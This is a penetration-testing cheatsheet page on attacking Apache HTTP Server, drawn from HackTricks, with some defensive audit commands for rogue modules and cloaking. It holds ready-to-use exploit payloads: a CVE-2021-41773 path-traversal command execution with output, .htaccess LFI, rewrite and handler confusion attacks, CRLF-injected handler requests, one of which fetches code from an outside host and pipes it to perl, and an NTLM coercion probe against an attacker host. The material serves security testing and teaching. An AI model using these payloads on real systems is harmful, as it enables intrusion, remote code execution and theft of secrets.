daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

apache.md (27419B)


      1 ---
      2 title: "Apache"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/apache.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/apache.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Apache
     14 
     15 ## Executable PHP extensions
     16 
     17 Check which modules and handlers the Apache server has enabled. Run:
     18 
     19 ```bash
     20  grep -R -B1 "httpd-php" /etc/apache2
     21 ```
     22 
     23 Also, some places where you can find this configuration is:
     24 
     25 ```bash
     26 /etc/apache2/mods-available/php5.conf
     27 /etc/apache2/mods-enabled/php5.conf
     28 /etc/apache2/mods-available/php7.3.conf
     29 /etc/apache2/mods-enabled/php7.3.conf
     30 ```
     31 
     32 ## High-value Apache handlers to enumerate
     33 
     34 Before going deep into rewrites, quickly check the built-in handlers because they can disclose exactly the Apache-specific pivots you need.
     35 
     36 - **`/server-status`** and especially **`/server-status?auto`** may expose current requests, client IPs, vhosts, and worker state. With **`ExtendedStatus On`** you can often recover internal paths, admin URLs, or tokens embedded in request lines.<sup>[[5]](#references)</sup>
     37 - **`/server-info`** accepts useful queries such as **`?config`**, **`?list`**, **`?server`**, **`?providers`**, or **`?<module>`** and can dump parsed configuration: **`DocumentRoot`**, **`ProxyPass`**, **`ScriptAlias`**, **`SetHandler`**, auth rules, backend hosts, and loaded modules.<sup>[[6]](#references)</sup>
     38 - **`/balancer-manager`** can reveal **`BalancerMember`** backends, routes, **`stickysession`** names, and worker state. If write access is exposed, you may also be able to disable backends or change weights.
     39 
     40 Quick checks:
     41 
     42 ```bash
     43 for u in /server-status /server-status?auto /server-info /server-info?config /server-info?list /balancer-manager; do
     44   echo "### $u"
     45   curl -sk -i "https://target$u" | sed -n '1,40p'
     46 done
     47 ```
     48 
     49 If **`server-info?config`** is exposed, immediately grep for Apache-specific pivots:
     50 
     51 ```bash
     52 curl -sk https://target/server-info?config | grep -E 'ProxyPass|ProxyPassMatch|SetHandler|AddHandler|AddType|ScriptAlias|ExecCGI|DAV On|AllowOverride'
     53 ```
     54 
     55 Remember that `server-info` doesn't list `.htaccess` directives, so missing rules there doesn't prove a directory is clean.
     56 If you can upload or edit `.htaccess`, `mod_status` and `mod_info` become interesting again when `AllowOverride FileInfo` lets you use `SetHandler`. For CGI or WebDAV follow-up, see [CGI Pentesting](/hacktricks/network-services-pentesting/pentesting-web/cgi) and [WebDav](/hacktricks/network-services-pentesting/pentesting-web/put-method-webdav).
     57 
     58 ## Malicious Apache modules: trusted-origin proxying and response injection
     59 
     60 After gaining root, an attacker can use Apache's own `apxs -i -a -c module.c` workflow to compile a DSO, copy it into the module directory and add its `LoadModule` entry. A module registered in the name-translation phase can inspect every request and turn only selected URI prefixes into `proxy:` requests for an attacker-controlled upstream. The browser still addresses the compromised origin, while forwarding the original `Host` header makes the upstream request look consistent with that origin.<sup>[[12]](#references)[[13]](#references)</sup>
     61 
     62 A second implant pattern combines request hooks with an output filter: match on URI, referrer, User-Agent, arbitrary headers or client IP; retrieve remote content; then modify Apache bucket brigades before the response is sent. This supports crawler-only SEO content or HTML insertion near a marker such as `<body>`. The filter can also delete the legitimate `Content-Security-Policy` header and install a permissive replacement. This is **server-side policy removal**, not a browser CSP parsing bypass: the browser never receives the site's original policy.<sup>[[12]](#references)[[14]](#references)</sup>
     63 
     64 A practical deployment may enable legitimate dependencies such as `proxy`, `headers` and `rewrite`, delete source/build files, and copy timestamps from normal modules to both the malicious `.so` and its load configuration. Therefore, filenames and modification times alone are weak trust signals.<sup>[[12]](#references)</sup>
     65 
     66 ### Module and artifact audit
     67 
     68 Dump the runtime module set first: `httpd -M` (or the distribution's `apachectl -M`) includes both statically and dynamically loaded modules. Then correlate each `LoadModule` entry with its binary, package ownership, hash and filesystem metadata.<sup>[[12]](#references)[[15]](#references)</sup>
     69 
     70 ```bash
     71 apachectl -M 2>/dev/null || apache2ctl -M 2>/dev/null || httpd -M 2>/dev/null
     72 grep -RInE '^[[:space:]]*LoadModule' /etc/apache2 /etc/httpd /usr/local/apache2/conf 2>/dev/null
     73 find -L /usr/lib/apache2/modules /usr/lib64/httpd/modules /etc/httpd/modules /usr/local/apache2/modules -type f -name '*.so' -print0 2>/dev/null |
     74   while IFS= read -r -d '' so; do
     75     stat -c '%n | mode=%a uid=%u gid=%g | mtime=%y | ctime=%z' "$so"
     76     sha256sum "$so"
     77     dpkg-query -S "$so" 2>/dev/null || rpm -qf "$so" 2>/dev/null || echo "UNOWNED: $so"
     78   done
     79 ```
     80 
     81 Treat an old `mtime` paired with a much newer `ctime`, an unowned DSO, a package verification failure, or a new load file as a pivot—not standalone proof. For suspicious modules, imports/strings can expose HTTP clients, hardcoded upstreams, encrypted rule blobs and response-injection placeholders.<sup>[[12]](#references)</sup>
     82 
     83 ```bash
     84 readelf -d /path/to/module.so | grep -E 'NEEDED|curl|ssl|crypto'
     85 strings -a /path/to/module.so | grep -Ei 'https?://|libcurl|RC4|proxy:|content-security-policy|\{host\}|\{url\}|<body'
     86 dpkg -V apache2 apache2-bin 2>/dev/null || rpm -V httpd 2>/dev/null
     87 grep -RInE '/wps|/bmw|/card|/jogos|/nova' /var/log/apache2 /var/log/httpd 2>/dev/null
     88 ```
     89 
     90 ### Detect conditional cloaking
     91 
     92 Fetch the same URL with different crawler/browser identities, referrers and—where possible—source networks; compare status, headers, body length and hashes. Differences in CSP, injected markup or upstream-themed content that cannot be explained by normal personalization are high-signal findings.<sup>[[12]](#references)</sup>
     93 
     94 ```bash
     95 url='https://target/suspected-path'
     96 curl -skD browser.h -o browser.b -A 'Mozilla/5.0' -e 'https://target/' "$url"
     97 curl -skD crawler.h -o crawler.b -A 'Googlebot/2.1 (+http://www.google.com/bot.html)' "$url"
     98 sha256sum browser.b crawler.b
     99 wc -c browser.b crawler.b
    100 diff -u browser.h crawler.h
    101 diff -u browser.b crawler.b
    102 ```
    103 
    104 ## CVE-2021-41773
    105 
    106 ```bash
    107 curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
    108 uid=1(daemon) gid=1(daemon) groups=1(daemon)
    109 Linux
    110 ```
    111 
    112 ## LFI via .htaccess ErrorDocument file provider (ap_expr)
    113 
    114 If you can control a directory’s .htaccess and AllowOverride includes FileInfo for that path, you can turn 404 responses into arbitrary local file reads using the ap_expr file() function inside ErrorDocument.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup>
    115 
    116 - Requirements:
    117   - Apache 2.4 with expression parser (ap_expr) enabled (default in 2.4).
    118   - The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo).
    119   - The Apache worker user must have read permissions on the target file.
    120 
    121 .htaccess payload:
    122 
    123 ```text
    124 # Optional marker header just to identify your tenant/request path
    125 Header always set X-Debug-Tenant "demo"
    126 # On any 404 under this directory, return the contents of an absolute filesystem path
    127 ErrorDocument 404 %{file:/etc/passwd}
    128 ```
    129 
    130 Trigger by requesting any non-existing path below that directory, for example when abusing userdir-style hosting:
    131 
    132 ```bash
    133 curl -s http://target/~user/does-not-exist | sed -n '1,20p'
    134 ```
    135 
    136 Notes and tips:
    137 - Only absolute paths work. The content is returned as the response body for the 404 handler.
    138 - Effective read permissions are those of the Apache user (typically www-data/apache). You won’t read /root/* or /etc/shadow in default setups.
    139 - Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
    140   - rename .htaccess .htaccess.bk
    141   - put your malicious .htaccess
    142 - Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).
    143 
    144 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
    145 
    146 Orange introduced and documented these attack classes in [**this research post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1); the following is a summary. Apache modules process and mutate the same request record in stages. Semantic disagreement between modules can cause an early module to place unexpected data in a field that a later module interprets as a path, handler, or URL.<sup>[[1]](#references)</sup>
    147 
    148 ### Filename Confusion
    149 
    150 #### Truncation
    151 
    152 The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
    153 
    154 - **Path Truncation**
    155 
    156 It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
    157 
    158 ```bash
    159 RewriteEngine On
    160 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
    161 
    162 # Expected
    163 curl http://server/user/orange
    164 # the output of file `/var/user/orange/profile.yml`
    165 
    166 # Attack
    167 curl http://server/user/orange%2Fsecret.yml%3F
    168 # the output of file `/var/user/orange/secret.yml`
    169 ```
    170 
    171 - **Mislead RewriteFlag Assignment**
    172 
    173 In the following rewrite rule, as long as the URL ends in .php it's going to be treated and executed as php. Therefore, it's possible send a URL that ends in .php after the `?` char while loading in the path a different type of file (like an image) with malicious php code inside of it:
    174 
    175 ```bash
    176 RewriteEngine On
    177 RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
    178 
    179 # Attacker uploads a gif file with some php code
    180 curl http://server/upload/1.gif
    181 # GIF89a <?=`id`;>
    182 
    183 # Make the server execute the php code
    184 curl http://server/upload/1.gif%3fooo.php
    185 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
    186 ```
    187 
    188 #### **ACL Bypass**
    189 
    190 It's possible to access files the user shouldn't be able to access even if the access should be denied with configurations like:
    191 
    192 ```xml
    193 <Files "admin.php">
    194     AuthType Basic
    195     AuthName "Admin Panel"
    196     AuthUserFile "/etc/apache2/.htpasswd"
    197     Require valid-user
    198 </Files>
    199 ```
    200 
    201 This is because by default PHP-FPM will receive URLs ending in `.php`, like `http://server/admin.php%3Fooo.php` and because PHP-FPM will remove anything after the character `?`, the previous URL will allow to load `/admin.php` even if the previous rule prohibited it.
    202 
    203 ### DocumentRoot Confusion
    204 
    205 ```bash
    206 DocumentRoot /var/www/html
    207 RewriteRule  ^/html/(.*)$   /$1.html
    208 ```
    209 
    210 The preceding rewrite can make Apache test the path relative to both the `DocumentRoot` and the filesystem root. For example, a request to `https://server/abouth.html` may check `/var/www/html/about.html` and `/about.html`, creating a filesystem-access primitive when other authorization conditions also permit it.
    211 
    212 #### **Server-Side Source Code Disclosure**
    213 
    214 - **Disclose CGI Source Code**
    215 
    216 Just adding a %3F at the end is enough to leak the source code of a cgi module:
    217 
    218 ```bash
    219 curl http://server/cgi-bin/download.cgi
    220  # the processed result from download.cgi
    221 curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
    222  # #!/usr/bin/perl
    223  # use CGI;
    224  # ...
    225  # # the source code of download.cgi
    226 ```
    227 
    228 - **Disclose PHP Source Code**
    229 
    230 If a server has different domains with one of them being a static domain, this can be abused to traverse the file system and leak php code:
    231 
    232 ```bash
    233 # Leak the config.php file of the www.local domain from the static.local domain
    234 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
    235  # the source code of config.php
    236 ```
    237 
    238 #### **Local Gadgets Manipulation**
    239 
    240 The main problem with the previous attack is that by default most access over the filesystem will be denied as in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
    241 
    242 ```xml
    243 <Directory />
    244     AllowOverride None
    245     Require all denied
    246 </Directory>
    247 ```
    248 
    249 However, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) operating systems by default allow `/usr/share`:
    250 
    251 ```xml
    252 <Directory /usr/share>
    253     AllowOverride None
    254     Require all granted
    255 </Directory>
    256 ```
    257 
    258 Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
    259 
    260 **Local Gadget to Information Disclosure**
    261 
    262 - **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
    263 - Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
    264   - **/usr/share/nginx/html/**
    265   - **/usr/share/jetty9/etc/**
    266   - **/usr/share/jetty9/webapps/**
    267 
    268 **Local Gadget to XSS**
    269 
    270 - On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
    271 
    272 **Local Gadget to LFI**
    273 
    274 - If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
    275   - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
    276   - **/usr/share/javascript/jquery-jfeed/proxy.php**
    277   - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
    278 
    279 **Local Gadget to SSRF**
    280 
    281 - Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
    282 
    283 **Local Gadget to RCE**
    284 
    285 - Outdated local applications such as **PHPUnit** or **phpLiteAdmin** can provide **remote code execution (RCE)** gadgets when exposed through a file-read or handler-confusion primitive.
    286 
    287 #### **Jailbreak from Local Gadgets**
    288 
    289 It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
    290 
    291 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
    292 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
    293 - **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
    294 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
    295 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
    296 
    297 Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
    298 
    299 ### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
    300 
    301 This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
    302 
    303 Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
    304 
    305 #### **Overwrite Handler to Disclose PHP Source Code**
    306 
    307 This [**talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) presented a vulnerability in which an incorrect client `Content-Length` could make Apache **return PHP source code**. Error handling between ModSecurity and the Apache Portable Runtime (APR) produced a double response that overwrote `r->content_type` with `text/html`.<sup>[[9]](#references)</sup>\
    308 Because ModSecurity did not handle the return values correctly, Apache returned the PHP source instead of passing it to the PHP handler.<sup>[[9]](#references)</sup>
    309 
    310 > [!NOTE]
    311 > The original research initially marked this issue as undisclosed. Consult Apache's current security advisories before testing version-specific behavior.
    312 
    313 ### **Invoke Arbitrary Handlers**
    314 
    315 If an attacker controls the **`Content-Type`** header in a server response, they may be able to **invoke arbitrary module handlers**. Although most request processing has finished by then, a local redirect can restart processing: when a CGI response uses a local-path `Location` value, Apache internally reprocesses the specified path.
    316 
    317 [RFC 3875, section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines CGI local-redirect response behavior:<sup>[[11]](#references)</sup>
    318 
    319 > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
    320 
    321 This attack therefore requires one of the following vulnerabilities:
    322 
    323 - CRLF Injection in the CGI response headers
    324 - SSRF with complete control of the response headers
    325 
    326 #### **Arbitrary Handler to Information Disclosure**
    327 
    328 For example `/server-status` should only be accessible locally:
    329 
    330 ```xml
    331 <Location /server-status>
    332     SetHandler server-status
    333     Require local
    334 </Location>
    335 ```
    336 
    337 It may be possible to reach it by setting `Content-Type` to `server-status` and returning a `Location` header that begins with `/`.
    338 
    339 ```text
    340 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
    341 Location:/ooo %0d%0a
    342 Content-Type:server-status %0d%0a
    343 %0d%0a
    344 ```
    345 
    346 #### **Arbitrary Handler to Full SSRF**
    347 
    348 Redirecting to `mod_proxy` to access any protocol on any URL:
    349 
    350 ```text
    351 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
    352 Location:/ooo %0d%0a
    353 Content-Type:proxy:
    354 http://example.com/%3F
    355  %0d%0a
    356 %0d%0a
    357 ```
    358 
    359 However, the `X-Forwarded-For` header is added preventing access to cloud metadata endpoints.
    360 
    361 #### **Arbitrary Handler to Access Local Unix Domain Socket**
    362 
    363 Access PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in `/tmp/`:
    364 
    365 ```text
    366 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
    367 Location:/ooo %0d%0a
    368 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
    369 %0d%0a
    370 ```
    371 
    372 #### **Arbitrary Handler to RCE**
    373 
    374 The official [PHP Docker](https://hub.docker.com/_/php) image includes PEAR (`Pearcmd.php`), a command-line PHP package management tool, which can be abused to obtain RCE:
    375 
    376 ```text
    377 http://server/cgi-bin/redir.cgi?r=http://%0d%0a
    378 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
    379 orange.tw/x|perl
    380 ) %2b alltests.php %0d%0a
    381 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
    382 %0d%0a
    383 ```
    384 
    385 Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), written by [Phith0n](https://x.com/phithon_xg) for the details of this technique.<sup>[[10]](#references)</sup>
    386 
    387 ## Recent Apache notes worth testing
    388 
    389 ### Reverse proxy request splitting via `RewriteRule [P]` / `ProxyPassMatch`
    390 
    391 Apache 2.4.56 fixed a very useful reverse-proxy pattern: a broad `RewriteRule` or `ProxyPassMatch` captured attacker-controlled bytes and re-inserted them into the proxied request-target. In practice, any config that reflects `$1`, `$2`, etc. into a backend URL is worth fuzzing for request splitting / smuggling, ACL bypass, unintended backend paths, and cache poisoning.<sup>[[7]](#references)</sup>
    392 
    393 Quick audit:
    394 
    395 ```bash
    396 grep -RInE 'RewriteRule.*\[.*P.*\]|ProxyPassMatch|SetHandler\s+"proxy:|SetHandler\s+proxy:' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
    397 ```
    398 
    399 Fuzz attacker-controlled captures with:
    400 
    401 - `%0d%0a`
    402 - encoded `?`, `#`, or `;`
    403 - duplicated slashes and dot segments
    404 - path or query fragments that can change the upstream route
    405 
    406 If you find one of these patterns, continue in [HTTP Request Smuggling](/hacktricks/pentesting-web/http-request-smuggling/overview).
    407 
    408 ### Hunt for `UnsafeAllow3F` and `UnsafePrefixStat`
    409 
    410 Apache 2.4.60 introduced two opt-in `mod_rewrite` flags that effectively re-enable dangerous legacy behavior after the 2024 hardening work. From an attacker perspective, if you find them in a target config, the older confusion-style primitives become interesting again:<sup>[[7]](#references)[[8]](#references)</sup>
    411 
    412 - `UnsafeAllow3F`: Allows rewrites to continue when the request contains an encoded `?` (`%3f`) and the rewritten substitution also contains a literal `?`. This is exactly the pattern behind `?`-based truncation / handler confusion tricks.
    413 - `UnsafePrefixStat`: Allows server-scoped substitutions that start with a backreference or variable and resolve to a filesystem path without forcing a safe DocumentRoot prefix first. This is the dangerous pattern behind path escapes and unexpected local file resolution.
    414 
    415 Quick audit:
    416 
    417 ```bash
    418 grep -RInE 'UnsafeAllow3F|UnsafePrefixStat|RewriteRule' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
    419 ```
    420 
    421 If those flags are present, re-test:
    422 
    423 - `%3f` in attacker-controlled captures that later influence `RewriteRule` substitutions or handler selection.
    424 - Server/vhost scoped rewrites where the first path segment comes from `$1`, `%{ENV:*}`, `%{HTTP:*}`, or similar attacker-influenced variables.
    425 
    426 ### Windows UNC / NTLM coercion
    427 
    428 On Windows deployments, recent Apache research showed that unsafe path handling can be turned into outbound SMB authentication to an attacker-controlled host. This matters whenever untrusted input reaches `mod_rewrite`, `ap_expr`, or type-map resolution.<sup>[[7]](#references)</sup>
    429 
    430 Interesting conditions:
    431 
    432 - `AllowEncodedSlashes On`
    433 - On Windows, the combination `AllowEncodedSlashes On` + `MergeSlashes Off` is especially interesting on 2.4.65 and earlier
    434 - Debian/Ubuntu style `AddHandler type-map var` can make uploaded `.var` files interesting on Windows too
    435 
    436 Basic probe:
    437 
    438 ```bash
    439 curl http://server/%5C%5Cattacker-server/path/to
    440 ```
    441 
    442 If the request is accepted and the server is Windows-based, Apache may attempt to resolve a UNC path and coerce NTLM authentication to `attacker-server`. In real intranet environments, treat this as more than "just SSRF": the leaked authentication can often be chained into NTLM relay.
    443 
    444 If file upload is available and `type-map` support is enabled, a malicious `.var` file whose `URI` points to a UNC path can trigger the same class of outbound authentication.
    445 
    446 ### Request-controlled `Content-Type` + `mod_headers` is a handler/proxy audit target
    447 
    448 Apache 2.4.64 fixed a niche but relevant configuration class: if `mod_proxy` is loaded and `mod_headers` copies attacker-controlled data into the `Content-Type` request or response header, Apache can be tricked into making outbound proxy requests to attacker-chosen URLs. This fits the same handler-confusion theme as the section above.<sup>[[7]](#references)</sup>
    449 
    450 Quick audit:
    451 
    452 ```bash
    453 grep -RInE '(RequestHeader|Header).*(Content-Type|Content-type)' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
    454 ```
    455 
    456 If the `Content-Type` value is influenced by request data, test `proxy:http://...`, `proxy:unix:/...|fcgi://...`, and local handler names exactly like you would in a CRLF / header-injection chain.
    457 
    458 ### 2.4.64-only `RewriteCond expr` bug
    459 
    460 If fingerprinting shows exactly **Apache 2.4.64**, treat every **`RewriteCond expr`**-based security control as suspect: all **`RewriteCond expr ...`** tests evaluate to **true**. Re-test IP/header/path gates, negative conditions, canonicalization rules, and "only proxy if ..." logic.<sup>[[7]](#references)</sup>
    461 
    462 Quick audit:
    463 
    464 ```bash
    465 grep -RIn 'RewriteCond expr' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
    466 ```
    467 
    468 ### `AddType`-based handler mappings are still a high-value audit target
    469 
    470 The Handler Confusion section above is not only theoretical. Apache 2.4.60 and 2.4.61 had regressions where legacy content-type based handler mappings such as `AddType application/x-httpd-php .php` could disclose source code when files were requested indirectly instead of directly. Apache 2.4.62 fixed the regression, but this remains a good pentest check because many environments still rely on legacy `AddType` mappings.<sup>[[7]](#references)</sup>
    471 
    472 Quick audit:
    473 
    474 ```bash
    475 grep -RInE 'AddType\s+application/x-httpd-php|AddType\s+.*x-httpd' /etc/apache2 /usr/local/apache2/conf 2>/dev/null
    476 ```
    477 
    478 If you find `AddType` instead of `SetHandler` / `AddHandler`, compare direct requests with any indirect request path that reaches the same script through an internal rewrite, local redirect, or `ErrorDocument` chain. Look for cases where PHP is suddenly served as text/plain / text/html instead of being executed.
    479 
    480 ## References
    481 
    482 - [1] [Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
    483 - [2] [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
    484 - [3] [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
    485 - [4] [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
    486 - [5] [Apache Module mod_status (`server-status`)](https://httpd.apache.org/docs/2.4/mod/mod_status.html)
    487 - [6] [Apache Module mod_info (`server-info`)](https://httpd.apache.org/docs/2.4/en/mod/mod_info.html)
    488 - [7] [Apache HTTP Server 2.4 vulnerabilities list (official changelog/advisories)](https://httpd.apache.org/security/vulnerabilities_24.html)
    489 - [8] [Apache RewriteRule Flags (`UnsafeAllow3F`, `UnsafePrefixStat`)](https://httpd.apache.org/docs/2.4/rewrite/flags.html)
    490 - [9] [Apache 0day bug, which still nobody knows of, and which was fixed accidentally (Max Dmitriev, ZeroNights 2021)](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf)
    491 - [10] [Docker PHP LFI Summary (Phith0n)](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)
    492 - [11] [RFC 3875 section 6.2.2 – Local Redirect Response](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)
    493 - [12] [Gaming the System: How a Chinese-Speaking Actor Turned Brazilian Government Sites into an SEO Weapon](https://research.checkpoint.com/2026/gaming-the-system-how-a-chinese-speaking-actor-turned-brazilian-government-sites-into-an-seo-weapon/)
    494 - [13] [Apache `apxs` - APache eXtenSion tool](https://httpd.apache.org/docs/2.4/programs/apxs.html)
    495 - [14] [Apache guide to writing output filters](https://httpd.apache.org/docs/2.4/developer/output-filters.html)
    496 - [15] [Apache `httpd` command-line options](https://httpd.apache.org/docs/2.4/programs/httpd.html)